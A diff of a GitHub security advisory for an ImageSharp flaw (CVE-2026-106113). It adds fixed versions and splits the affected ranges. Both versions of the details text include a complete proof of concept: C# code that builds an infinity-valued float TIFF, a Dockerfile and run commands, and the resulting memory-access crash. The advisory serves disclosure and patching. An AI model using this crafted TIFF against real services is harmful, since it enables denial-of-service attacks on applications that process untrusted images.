diff --git a/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json b/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json index 2632a64e429..e9579755427 100644 --- a/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json +++ b/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-j3p4-wp97-rph4", - "modified": "2026-10-07T20:24:23Z", + "modified": "2026-10-07T20:24:24Z", "published": "2026-10-07T20:24:23Z", "aliases": [ "CVE-2026-106113" ], "summary": "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index", - "details": "### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image image = Image.Load(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n\n \n Exe\n net8.0\n enable\n enable\n \n \n \n \n /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\n \n \n /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\n \n \n\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' 'net8.0' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", + "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image image = Image.Load(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n\n \n Exe\n net8.0\n enable\n enable\n \n \n \n \n /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\n \n \n /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\n \n \n\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' 'net8.0' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", "severity": [ { "type": "CVSS_V3", @@ -27,15 +27,31 @@ { "introduced": "2.0.0" }, + { + "fixed": "3.2.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "SixLabors.ImageSharp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0" + }, { "fixed": "4.1.2" } ] } - ], - "database_specific": { - "last_known_affected_version_range": "<= 4.1.1" - } + ] } ], "references": [